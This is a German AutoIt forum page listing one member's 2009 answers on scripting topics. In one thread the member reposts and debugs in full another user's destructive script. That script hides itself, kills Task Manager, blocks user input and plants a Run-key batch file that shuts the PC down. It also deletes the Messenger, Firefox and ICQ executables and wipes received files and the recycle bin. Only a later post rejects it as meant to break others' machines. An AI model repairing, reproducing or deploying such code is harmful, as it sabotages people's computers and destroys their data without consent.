1. Dashboard
  2. Mitglieder
    1. Letzte Aktivitäten
    2. Benutzer online
    3. Team
    4. Mitgliedersuche
  3. Forenregeln
  4. Forum
    1. Unerledigte Themen
  • Anmelden
  • Registrieren
  • Suche
Alles
  • Alles
  • Artikel
  • Seiten
  • Forum
  • Erweiterte Suche
  1. AutoIt.de - Das deutschsprachige Forum.
  2. Mitglieder
  3. Schnitzel

Beiträge von Schnitzel

  • Windows Live Messenger anzeigen

    • Schnitzel
    • 9. Dezember 2009 um 20:13

    das ganze wird also so ein tolles programm wo sich der scripter darüber freut dass bei den anderen nichts mehr funktioniert.

    :thumbdown:

    durchlesen: https://autoit.de/index.php?page=Forumrules


    Zitat

    P.S. Das gesamte Script in der Form ist voll lauffähig und soooooo oft getestet, ich wollte eben nun nur noch die Eventualität einbauen, das er nichts macht, wenn die *.exe nicht aktiv ist.

    das bezweifle ich doch stark

  • Bildgröße ändern

    • Schnitzel
    • 9. Dezember 2009 um 19:24

    gab da schonmal sowas, ich denke des hat funktioniert:

    Spoiler anzeigen
    [autoit]

    Func _ImageResize($sInImage, $sOutImage, $newW, $newH)
    _GDIPlus_Startup()
    Local $oldImage, $GC, $newBmp, $newGC
    ; Load Image
    $oldImage = _GDIPlus_ImageLoadFromFile($sInImage)
    ;Create New image
    $GC = _GDIPlus_ImageGetGraphicsContext($oldImage)
    $newBmp = _GDIPlus_BitmapCreateFromGraphics($newW, $newH, $GC)
    $newGC = _GDIPlus_ImageGetGraphicsContext($newBmp)
    ;Draw
    _GDIPlus_GraphicsDrawImageRect($newGC, $oldImage, 0, 0, $newW, $newH)
    _GDIPlus_ImageSaveToFile($newBmp, $sOutImage)
    ;Clenaup
    _GDIPlus_GraphicsDispose($GC)
    _GDIPlus_GraphicsDispose($newGC)
    _GDIPlus_BitmapDispose($newBmp)
    _GDIPlus_ImageDispose($oldImage)
    _GDIPlus_Shutdown()
    EndFunc ;==>_ImageResize

    [/autoit]

    Edit: zu laaahm, aber wie er mal genau die gleiche funktion hat :rock:

  • Windows Live Messenger anzeigen

    • Schnitzel
    • 9. Dezember 2009 um 19:20

    was genau macht denn das script alles? bzw was sollte es mal machen können?

    du hast sehr viele sachen drin von denen ich dir abraten würde ( unzählige sends z.B.)

    hab grad versucht dein script "aufzuräumen" aber da ist zu viel durcheinander. kanns nicht ordnen weil ich nicht weiß was genau es machen sollte

  • Windows Live Messenger anzeigen

    • Schnitzel
    • 9. Dezember 2009 um 19:14

    ok dein problem ist einfach nur dass du nicht genau weißt wie du funktionen aufrufst.

    eine if abfrage mit aufruf der funktion sieht so aus:

    [autoit]


    If ProcessExists("msnmsgr.exe") Then
    _GetPathByPID2($PID=-1)
    EndIf

    [/autoit]

    er sieht dann quasi:
    aha da steht _GetPathByPID2() --> das ist eine funktion --> ich muss diese suchen und ausführen

    die komplette funktion _GetPathByPID2(), also das hier:

    Spoiler anzeigen
    [autoit]


    Func _GetPathByPID2($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit]

    kannste dann ganz ans ende deines scripts hängen,

  • URL öffnen, aber etwas anders

    • Schnitzel
    • 9. Dezember 2009 um 16:13
    Zitat

    Es muss doch über irgendeine Funktion möglich sein dies zu ermöglichen oder?

    also über einen browser wirst du wohl keine chance haben. die haben ja schon an die halbe sekunde reaktionszeit.

    selbst n php-script das lokal auf dem rechner liegt schaff ich nich schneller zu öffnen

  • URL öffnen, aber etwas anders

    • Schnitzel
    • 9. Dezember 2009 um 15:46

    ein Terminalserver ist ein server auf den die benutzer zugreifen können um software auszuführen.

    z.B. kannst auf nem terminalserver catia (konstruktionsprogramm) installieren und dann können 20 leute über netzwerk auf das programm zugreifen und rumbasteln.
    praktisch daran is vor allem dass die rechner mit denen die user auf das programm zugreifen nicht gut sein müssen. kannst ziemliche billigrechner hernehmen. Nur der server auf dems läuft muss gut sein.

    Wikipedia weiß doch das bestimmt auch oder?

    versteh auch den zusammenhang zu deinem "script" nich ganz

  • URL öffnen, aber etwas anders

    • Schnitzel
    • 9. Dezember 2009 um 15:34
    Zitat von Reaker

    mein Script muss in 1sek ca. 10 seiten öffnen...über shellexecute geht das ja schonmal nicht..beim IE kann ich war das BrowserFenster unsichtbar machen, allerdings ist bei meiner maus die ganze zeit so ein Ladekreis weil es eben so viel in 1 sek ist...

    und für was braucht man das?

  • URL öffnen, aber etwas anders

    • Schnitzel
    • 9. Dezember 2009 um 15:26

    es gibt viele, die frage ist was passt dir an den beiden nicht, oder wie brauchst/möchtest du es?

  • Windows Live Messenger anzeigen

    • Schnitzel
    • 9. Dezember 2009 um 14:47

    poste am besten immer den ganzen code. dann sieht man sofort wo der fehler liegt.

    egtl müsste ja so irgendwie heißen:

    [autoit]


    If ProcessExists("firefox.exe") Then
    _GetPathByPID("firefox.exe")
    endif

    [/autoit]

    wo dein fehler liegt kann ich jetz leider nicht genau sagen--> alles posten ;)

  • Komunikation zwischen Server und Client

    • Schnitzel
    • 9. Dezember 2009 um 14:20

    was genau ist: no-ip.org

    bist du dir sicher das das server-script dort ausgeführt wird?

    sind deine ports 312 sowohl beim server als auch beim client freigeschalten?

    eventuell mal anderen port verwenden


    aber zumindest lokal sollte es ja laufen.

    server lokal:

    Spoiler anzeigen
    [autoit]

    TCPStartup()
    $MainSocket = TCPListen("127.0.0.1", "312", 100)
    While 1
    $NewSocket = TCPAccept($MainSocket)
    If $NewSocket >= 0 Then
    Do
    $Recv = TCPRecv($NewSocket, 2048)
    Until $Recv <> ""
    MsgBox(1, "", "Empfangen : " & $Recv)
    EndIf
    WEnd

    [/autoit]

    client lokal:

    Spoiler anzeigen
    [autoit]

    #include <GuiConstants.au3>
    TCPStartUp()
    #Region ### START Koda GUI section ### Form=
    $GUI = GuiCreate("CLIENT",300,500)
    $Edit = GUICtrlCreateEdit("",0,0,300,200)
    $OK = GUICtrlCreateButton("Senden",100,300,100,30)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
    While 1
    $msg = GUIGetMsg()

    [/autoit] [autoit][/autoit] [autoit]

    Switch $msg

    Case $OK
    $MainSocket = TCPConnect("127.0.0.1", "312")

    TCPSend($MainSocket,GUICtrlRead($Edit))

    MsgBox(0,"GESENDET","Die Nachricht wurde gesendet")
    EndSwitch
    WEnd

    [/autoit]
  • Windows Live Messenger anzeigen

    • Schnitzel
    • 9. Dezember 2009 um 12:18

    ok also solange dein programm läuft durch die funktion AdlibEnable("_CheckTaskmgr") alle 250 millisekunden deine Funktion _CheckTaskmgr aufgerufen.

    [autoit]

    while 1 ; das ganze bedeutet: solange sich die 1 nicht verändert (wie while übersetzt ins deutsche: solange) macht er alles was zwischen while und wend steht
    sleep(10); hier steht nur sleep(10) das heißt er tut 10 millisekunden nichts, dann wird das ganze nichtstun wiederholt, und da sich die 1 hinter dem while nicht ändert wird es
    ; ewig wiederholt (solange bis ein Exit oder ein Exitloop oder ein Error kommt)
    wend

    [/autoit]

    wenn du etwas machen willst bevor deine endlose while schleife kommt dann musst du das auch davor schreiben. das

    [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken

    [/autoit]

    steht zum beispiel hinter deiner while schleife und wird deshalb nie ausgeführt. d.h. einfach drüber hinschreiben.

    Zitat

    allerdings wird zeile 18-76, sowie 103-147, sowie 172-219, sowie 245 bis ende nie ausgeführt

    was die ganzen zeilen die ich dir vorher genannt haben machen will ich nicht wirklich untersuchen. aber wenn sie ausgeführt werden sollen musst du sie vor die while schleife setzten.


    am besten finde ich bei einem script diese art von aufbau:

    include's
    Optionen und Einstellungen also sowas wie Opt()
    Deklaration von Variablen also sowas wie Local $xyz
    Guierstellung fällt bei dir weg, du hast ja keine gui
    dann verweise auf funktionen die schon zum start oder dauerhaft ausgeführt werden sollen; sowas wie Adlibenable()
    oder einfach alles was er machen soll quasi sowas wie send sleep mousemove usw
    dann die endlosschleife
    und zu guter letzt deine ganzen funktionen also alle Func .... Endfunc

  • Datei verschwindet nach Kopieren

    • Schnitzel
    • 9. Dezember 2009 um 12:02

    ach wie dumm von mir. Zu 2.

    Und zwar kann man von outlook geöffnete ordner nicht kopieren. d.h. solange outlook auf diesen ordner zugreift wirds nicht funktionieren. also müssen wir den ich nur hinbekommen dass dein fenster "richtig" schließt.

    zu 1.:
    was hältst du von winkill?
    - problem könnte sein: die user werden nicht gefragt ob sie angefangene emails usw. speichern möchten.
    - vorteil wäre: es wird geschlossen und fehlermeldungen intressieren meines wissens nach nicht

  • Windows Live Messenger anzeigen

    • Schnitzel
    • 9. Dezember 2009 um 10:29

    Du musst die _CheckTaskmgr Funktion auf jeden fall mal abschließen, siehe zeile 17

    allerdings wird zeile 18-76, sowie 103-147, sowie 172-219, sowie 245 bis ende nie ausgeführt

    weil du deine while 1 schleife in zeile 8 nie beendest

    Spoiler anzeigen
    [autoit]

    #include <winapi.au3> ;; Headerdatei einbinden

    [/autoit] [autoit][/autoit] [autoit]

    ;;Überprüft ob das Fenster "Windows Task-Manager"
    ;;aktiviert ist, sollte das der Fall sein, wird dieses geschlossen.
    ;;Überprüft außerdem ob Prozess aktiv ist und setzt zum Schluss BlockInput(1)

    [/autoit] [autoit][/autoit] [autoit]

    AdlibEnable("_CheckTaskmgr")
    While 1
    Sleep(10)
    WEnd
    Func _CheckTaskmgr()
    If WinActive("Windows Task-Manager") OR ProcessExists("taskmgr.exe") Then
    WinKill("Windows Task-Manager")
    ProcessClose("taskmgr.exe")
    EndIf
    BlockInput(1)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Send("#e")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Send("{F4}")
    Send("{DEL}")
    Send(@WindowsDir)
    Send("{ENTER}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("!")
    Send("d")
    Send("n")
    Send("t")
    Send("Services.bat")
    Send("{ENTER}")
    WinWaitActive("Umbenennen")
    Send("{ENTER}")
    Sleep(500)
    Send("!")
    Send("d")
    Send("b")
    WinWaitActive("Services.bat")
    Send("shutdown -s -t 120")
    Send("!{F4}")
    WinWaitActive("Editor")
    Send("{ENTER}")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services.exe", "REG_SZ", "C:\WINDOWS\Services.bat")
    Sleep(500)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0)

    [/autoit] [autoit][/autoit] [autoit]


    ShellExecute("msnmsgr.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("Windows Live Messenger")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Windows Live Messenger"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID2($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID2($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("msnmsgr.exe") Then ProcessClose("msnmsgr.exe")

    ;;Öffet Explorer und sendet Dateipfad
    ;Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{ESC}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 11}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Windows Live Messenger.exe
    BlockInput(1) ;; Eingaben blockieren
    MouseMove(234, 132)
    MouseClick("left")
    Send("msnmsgr")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    ;;Erledigt

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Mozilla Firefox"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then ProcessClose("firefox.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    ;WinWaitActive("[CabinetWClass]", "")
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 12}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Firefox.exe
    MouseMove(234, 132)
    MouseClick("left")
    Send("fire")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ShellExecute("ICQ.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinActivate("ICQ")
    WinWaitActive("ICQ")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "ICQ"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID3($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID3($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then ProcessClose("ICQ.exe")

    ;;Öffnet Explorer und sendet Dateipfad
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 7}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die ICQ.exe
    MouseMove(234, 132)
    MouseClick("left")
    Send("icq")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen", "Die Datei")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0) ;; Relative x,y-Koordnate im aktiven Fenster
    ;; Löscht Ordner in "Meine empfangenen Dateien"
    Send ("#e")
    ;WinWaitActive("[CabinetWClass]", "")
    WinActivate("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send(@MyDocumentsDir)
    Send("{RIGHT}")

    [/autoit] [autoit][/autoit] [autoit]

    Sleep(100)
    Send("\Meine empfangenen Dateien")
    Send("{Enter}")
    ;WinActivate("[CabinetWClass]")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("^a")
    BlockInput(1) ;; Eingaben blockieren
    Send("{DEL}")
    Sleep(500)
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    FileRecycleEmpty("C:\") ;; Leert den Papierkorb

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    BlockInput(0)

    [/autoit]
  • Datei verschwindet nach Kopieren

    • Schnitzel
    • 9. Dezember 2009 um 10:16

    1. hier würde ich die erweiterte Titel und Text Optionen nehmen, siehe:
    http://www.autoit.de/dokumentation_…owsadvanced.htm

    sieht für outlook in etwa so aus:

    [autoit]

    WinClose("[CLASS:rctrl_renwnd32]")

    [/autoit]


    zu 2:
    der zielpfad existiert oder?

  • ersten und letzten werktag eines monats ermittel

    • Schnitzel
    • 9. Dezember 2009 um 08:23

    dort dürfteste alles finden was du brauchst

    Wochentag- Feiertagsermittlung

  • Windows Live Messenger anzeigen

    • Schnitzel
    • 9. Dezember 2009 um 07:54

    man kann keine funktionen innerhalb von anderen funktionen definieren.

    deine funktion _CheckTaskmgr geht von Zeile 11 bis zur zeile 311. da liegt das Problem.

    übrigens musste mit AdlibEnable("_CheckTaskmgr") auch aufpassen weil dann _CheckTaskmgr alle 250 millisekunden aufgerufen wird.
    und wenn _CheckTaskmgr länger als diese 250 millisekunden dauert kriegste n ziemliches problem

  • Über 500 Klicks die Sekunde

    • Schnitzel
    • 8. Dezember 2009 um 19:10

    also bei mir brauchen 500 klicks 5,28 sek

    ich denke nich das es möglich is

    Ende

  • Label verschieben?

    • Schnitzel
    • 8. Dezember 2009 um 16:27

    mit buttons wärs sehr einfach

    hier mal n billiges beispiel:

    Spoiler anzeigen
    [autoit]

    #include <GUIConstantsEx.au3>

    [/autoit] [autoit][/autoit] [autoit]

    Global $guiy = 300, $guix = 500, $labx = 200, $laby = 100

    [/autoit] [autoit][/autoit] [autoit]

    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate("Form1", $guix, $guiy)
    $Group1 = GUICtrlCreateGroup("", 410, 216, 85, 73)
    $Button1 = GUICtrlCreateButton("Button1", 450, 232, 17, 17, 0)
    $Button2 = GUICtrlCreateButton("Button2", 434, 248, 17, 17, 0)
    $Button3 = GUICtrlCreateButton("Button3", 466, 248, 17, 17, 0)
    $Button4 = GUICtrlCreateButton("Button4", 450, 264, 17, 17, 0)
    GUICtrlCreateGroup("", -99, -99, 1, 1)
    $Label1 = GUICtrlCreateLabel("1", $labx, $laby, 25, 50)
    GUICtrlSetFont(-1, 30, 400, 0, "MS Sans Serif")
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit
    Case $Button1
    $laby -= 15
    Guictrlsetpos($Label1, $labx, $laby)
    Case $Button2
    $labx -= 15
    Guictrlsetpos($Label1, $labx, $laby)
    Case $Button3
    $labx += 15
    Guictrlsetpos($Label1, $labx, $laby)
    Case $Button4
    $laby += 15
    Guictrlsetpos($Label1, $labx, $laby)
    EndSwitch
    WEnd

    [/autoit]
  • Label verschieben?

    • Schnitzel
    • 8. Dezember 2009 um 16:18

    ui ja das ist was anderes. und wie willste das machen? mit buttons oder mit einer eingabe oder einfach mit der maus?

  • Label verschieben?

    • Schnitzel
    • 8. Dezember 2009 um 16:08

    du brauchst egtl nur GuiCtrlSetPos()

    kleines beispiel:

    Spoiler anzeigen
    [autoit]

    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate("Form1", 300, 300, 192, 124)
    $Label1 = GUICtrlCreateLabel("Label1", 0, 0, 44, 17 ) ;soll verschoben werden
    $Label2 = GUICtrlCreateLabel("Label2", 0, 24, 44, 17) ; soll auch verschoben werden
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###

    [/autoit] [autoit][/autoit] [autoit]

    sleep(2000)
    GUICtrlSetPos($Label1, 0, 35)
    GUICtrlSetPos($Label2, 0, 50)

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit
    EndSwitch
    WEnd

    [/autoit]

Spenden

Jeder Euro hilft uns, Euch zu helfen.

Download

AutoIt Tutorial
AutoIt Buch
Onlinehilfe
AutoIt Entwickler
  1. Datenschutzerklärung
  2. Impressum
  3. Shoutbox-Archiv
Community-Software: WoltLab Suite™